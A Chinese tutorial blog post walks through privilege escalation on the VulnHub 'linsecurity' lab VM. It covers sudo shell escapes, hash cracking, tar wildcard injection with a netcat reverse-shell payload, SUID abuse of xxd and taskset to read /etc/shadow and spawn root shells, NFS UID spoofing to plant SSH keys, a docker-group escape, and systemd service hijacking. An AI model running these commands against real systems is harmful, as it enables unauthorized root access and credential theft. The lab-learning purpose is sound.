linux提权靶场详解

linux提权靶场详解

下载与安装

#下载链接
https://www.vulnhub.com/entry/linsecurity-1,244/

用户名密码:bob/secret

#安装与配置
1.修改默认键盘布局[默认不是美式键盘]
sudo awk 'BEGIN {system("/bin/sh")}'
[修改前\"符号是shift+2]

vim /etc/default/keyboard
[讲XKBLAYOUT改的值为us]

setupcon

2.配置网卡[Ubuntu 18通过netplan设置网络]
vim /etc/netplan/50-cloud-init.yaml
[将enp0s3改为ens33]

netplan apply

1.sudo提权

sudo权限是root把本来只能超级用户执行的命令赋予普通用户执行

配置文件是/etc/sudoers

#查看sudo配置
bob@linsecurity:~$ sudo -l
[sudo] password for bob:
Matching Defaults entries for bob on linsecurity:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bi

User bob may run the following commands on linsecurity:
    (ALL) /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bi
        /usr/bin/man, /bin/more, /usr/bin/scp, /usr/bin/socat, /usr/bin
        /usr/bin/script, /usr/bin/scp

提权:

1. sudo /bin/ash
2. sudo find . -exec /bin/sh \;-quit
3. sudo /bin/bash

在线查询sudo的提权命令:https://gtfobins.github.io/

2./etc/passwd哈希

linux的用户密码哈希存储在/etc/shadow文件,普通用户能够查看到的则是/etc/passwd这个文件 在/etc/passwd中

比如:root:\x:0:0:root:/root:/bin/bash。账户的第二列是密码哈希,如果该列为x则代表密码哈希存储在/etc/shadow文件上

/etc/passwd

普通用户权限能够查看

保存用户信息,每一行代表一个用户,每一行通过冒号:分为七个部分

1.用户名
2.密码,x表示密码保存在/etc/shadow
3.UID,0代表root
4.GID,表示所在组
5.描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
6.用户主目录
7.默认shell类型

/etc/shadow

只有root用户权限能够查看

保存加密后的密码和用户的相关密码信息,每一行代表一个用户,每一行通过冒号:分为九个部分

1.用户名
2.加密后的密码
3.上次修改密码的时间(从1970.1.1开始的总天数)
4.两次修改密码间隔的最少天数,如果为0,则没有限制
5.两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制
6.提前多少天警告用户密码将过期
7.在密码过期之后多少天禁用此用户
8.用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用
9.保留

#由示例可知,加密的密码具有固定格式:
$id$salt$encrypted
id表示加密算法,1代表MD5,5代表SHA-256,6代表SHA-512
salt为盐值,系统随机生成
encrypted表示密码的hash值

提权

#1./etc/shadow
sudo man /etc/shadow

#2./etc/passwd
bob@linsecurity:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
insecurity:AzER3pBZh6WZE:0:0::/:/bin/sh
susan:x:1002:1006:,,,:/home/susan:/bin/rbash
#insecurity是超级用户
#解密AzER3pBZh6WZE,获得密码P@ssw0rd!

解密网站:https://www.somd5.com/

3.crontab定时任务

crontab文件格式

 *  *  *  *  *  command
 分  时  日  月  周  命令

第1列表示分钟1~59 每分钟用*或者 */1表示
第2列表示小时1~23(0表示0点)
第3列表示日期1~31
第4列表示月份1~12
第5列标识号星期0~6(0表示星期天)
第6列要运行的命令

提权:

#查看定时任务
cat /etc/crontab

#查看/etc/cron.daily/backup权限
ls -l /etc/cron.daily/backup
-rwxr-xr-x 1 root root 99 Jul  9  2018 /etc/cron.daily/backup
#查看内容
cat /etc/cron.daily/backup

#!/bin/bash
for i in $(ls /home); do cd /home/$i && /bin/tar -zcf /etc/backups/home-$i.tgz *; done

#这个定时任务的执行权限是root,将用户家目录下的文件备份到/etc/backups/下,使用通配符*

#反弹shell
#payload生成
msfvenom -p cmd/unix/reverse_netcat lhost=127.0.0.1 lport=8888 R
[R:raw]

#将payload写入shell.sh,并赋予执行权限
echo "mkfifo /tmp/jvenbd; nc 127.0.0.1 8888 0</tmp/jvenbd | /bin/sh >/tmp/jvenbd 2>&1; rm /tmp/jvenbd" > shell.sh && chmod +x shell.sh

#再创建两个文件:--checkpoint-action=exec=sh shell.sh 和 --checkpoint=1
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"
##--checkpoint-action选项:用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。
##因此,选项--checkpoint=1 和 --checkpoint-action=exec=sh shell.sh作为命令行选项交给了tar程序

#nc -lvvp 8888开启本地监听,等待定时任务的反弹连接

4.敏感隐藏文件

find查找所有隐藏文件

find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null

#发现susan密码
bob@linsecurity:~$ cat /home/susan/.secret
MySuperS3cretValue!

5.suid提权

suid简介:SUID这个是uid +s的组合,s指的是特殊权限。一般情况下,用户的权限是3位,比如0755这样的,特殊权限默认没有配置,但是如果超级管理员希望用户在执行一些特殊权限文件时,拥有root的权限,就会配置特殊权限

比如说passwd这个命令,这个命令会修改/etc/shadow文件,而/etc/shadow只有root才能修改,本来passwd这个命令应该也只能root才能执行的。但是系统为了让普通用户能够修改自己的密码,对passwd这个命令赋予了特殊权限并添加了只能修改自己密码的限制

使用find命令快速查找所有suid文件

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

xxd访问/etc/shadow

发现

-rwsr-x--- 1 root itservices 18552 Apr 10  2018 /usr/bin/xxd

xxd:以十六进制形式显示文件

itservices组具有执行权限,通过/etc/group发现susan用户属于itservices用户组,利用4.隐藏文件发现的密码登录susan用户,进行提权

susan@linsecurity:/home/bob$ xxd "/etc/shadow" |xxd -r
root:$6$aorWKpxj$yOgku4F1ZRbqvSxxUtAYY2/6K/UU5wLobTSz/Pw5/ILvXgq9NibQ0/NQbOr1Wzp2bTbpNQr1jNNlaGjXDu5Yj1:17721:0:99999:7:::
daemon:*:17647:0:99999:7:::
bin:*:17647:0:99999:7:::
sys:*:17647:0:99999:7:::
sync:*:17647:0:99999:7:::
games:*:17647:0:99999:7:::

taskset执行bash

发现

-rwsr-sr-x 1 root root 30800 May 16  2018 /usr/bin/taskset
#执行/bin/bash
taskset 1 /bin/bash -p

6.NFS服务低权限访问

nfs挂载

nmap 扫描靶机

nmap -sT -T4 192.168.123.213

Nmap scan report for 192.168.123.213
Host is up (0.0018s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
111/tcp  open  rpcbind
2049/tcp open  nfs
MAC Address: 00:0C:29:FA:1F:11 (VMware)

NFS:Network File System即网络文件系统,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。2049端口,对应nfs服务

#攻击机上安装nfs客户端工具
apt-get install nfs-common

#使用showmount检索靶机文件夹列表
root@kali:~# showmount -e 192.168.123.213
Export list for 192.168.123.213:
/home/peter *

#挂载peter home目录
mkdir /mnt/peter
mount 192.168.123.213:/home/peter /mnt/peter

#df -h 查看信息

尝试在挂载的目录里创建文件,提示权限不够

即使我们在kali攻击机上是root用户,但是我们还是没有写入权限,因为默认情况下客户端的root身份会被主动压缩成匿名者

伪造文件所有者的UID和GID来欺骗NFS服务器,创建一个gid为1005的用户组,接着创建peter这个账户uid指定为1001,gid指定为1005

peter:x:1001:1005:,,,:/home/peter:/bin/bash
groupadd -g 1005 peter
adduser peter -uid 1001 -gid 1005

切换到peter目录,发现可以写文件

写入ssh公钥

#[攻击机]ssh-keygen生成公私钥对
ssg-keygen
#创建.ssh目录
peter@kali:/mnt/peter$ mkdir .ssh

#传输public key
peter@kali:/mnt/peter$ cat ~/.ssh/id_rsa.pub > /mnt/peter/.ssh/authorized_keys

#设置权限
peter@kali:/mnt/peter/.ssh$ chmod 700 ../.ssh/
peter@kali:/mnt/peter/.ssh$ chmod 600 authorized_keys

#使用私钥登录

7.docker组提权

peter用户属于docker组,docker组的成员,那么可以根据此漏洞来获取root的shell

peter@linsecurity:~$ docker --version
Docker version 18.03.1-ce, build 9ee9f40

https://fosterelli.co/privilege-escalation-via-docker.html

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

8.systemd配置提权

systemd

历史上,Linux 的启动一直采用init进程。

下面的命令用来启动服务。

$ sudo /etc/init.d/apache2 start 
# 或者 
$ service apache2 start 

这种方法有两个缺点。

一是启动时间长。init进程是串行启动,只有前一个进程启动完,才会启动下一个进程。

二是启动脚本复杂。init进程只是执行启动脚本,不管其他事情。脚本需要自己处理各种情况,这往往使得脚本变得很长。

Systemd 就是为了解决这些问题而诞生的。它的设计目标是,为系统的启动和管理提供一套完整的解决方案。 使用了 Systemd,就不需要再用init了。Systemd 取代了initd,成为系统的第一个进程(PID 等于 1),其他进程都是它的子进程。 Systemd 并不是一个命令,而是一组命令,涉及到系统管理的方方面面。

systemctl是 Systemd 的主命令,用于管理系统。

# 重启系统 
$ sudo systemctl reboot
# 关闭系统,切断电源 
$ sudo systemctl poweroff systemd-analyze命令用于查看启动耗时。 
# 查看启动耗时 
$ systemd-analyze                                           
# 查看每个服务的启动耗时 
$ systemd-analyze blame 
# hostnamectl命令用于查看当前主机的信息。
# 显示当前主机的信息 
$ hostnamectl 
# 设置主机名
$ sudo hostnamectl set-hostname rhel7 

提权

查看peter用户的systemd配置,发现peter这个用户拥有debug.service文件,并且他对这个文件拥有读和写的权限

peter@linsecurity:~$ whereis systemd
systemd: /usr/lib/systemd /bin/systemd /etc/systemd /lib/systemd /usr/share/systemd /usr/share/man/man1/systemd.1.gz

peter@linsecurity:~$ ls -al /lib/systemd/system/debug.service 
-rw-r--r-- 1 peter root 205 Jul  9  2018 /lib/systemd/system/debug.service

如果服务器存在缺陷,可以被覆盖或者修改文件,可以通过修改低权限用户有权访问的.service文件并更改run()命令来将其转换为代码执行。重新启动服务时,将运行攻击者的命令。

查看.service文件,这里我们可以修改ExecStart文件,除此之外还可以修改ExecStop和ExecReload来在停止和重启服务时执行命令

ExecStart为/root/debug,这是一个二进制服务并且该服务以root身份运行。

使用一个类似ssh可以sudo执行的方法。 让root身份来创建一个systemdexpl.sh脚本,将/bin/bash文件复制到systemdbash并设置一个SUID位并且赋予执行权限

echo -e '#!/bin/bash \ncp /bin/bash /home/peter/systemdbash \nchmod 6755 /home/peter/systemdbash' > /home/peter/systemdexpl.sh && chmod +x systemdexpl.sh

修改debug.service文件ExecStart来调用我们的脚本

重启服务[无权限就重启机器,重开会话]

利用suid提权

当然可以将systemdexpl.sh的内容修改为将公钥写入/root/.ssh下

peter@linsecurity:~$ echo -e '#!/bin/bash \ncp /home/peter/.ssh/* /root/.ssh/' > systemdexpl.sh

可直接ssh登录root用户

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值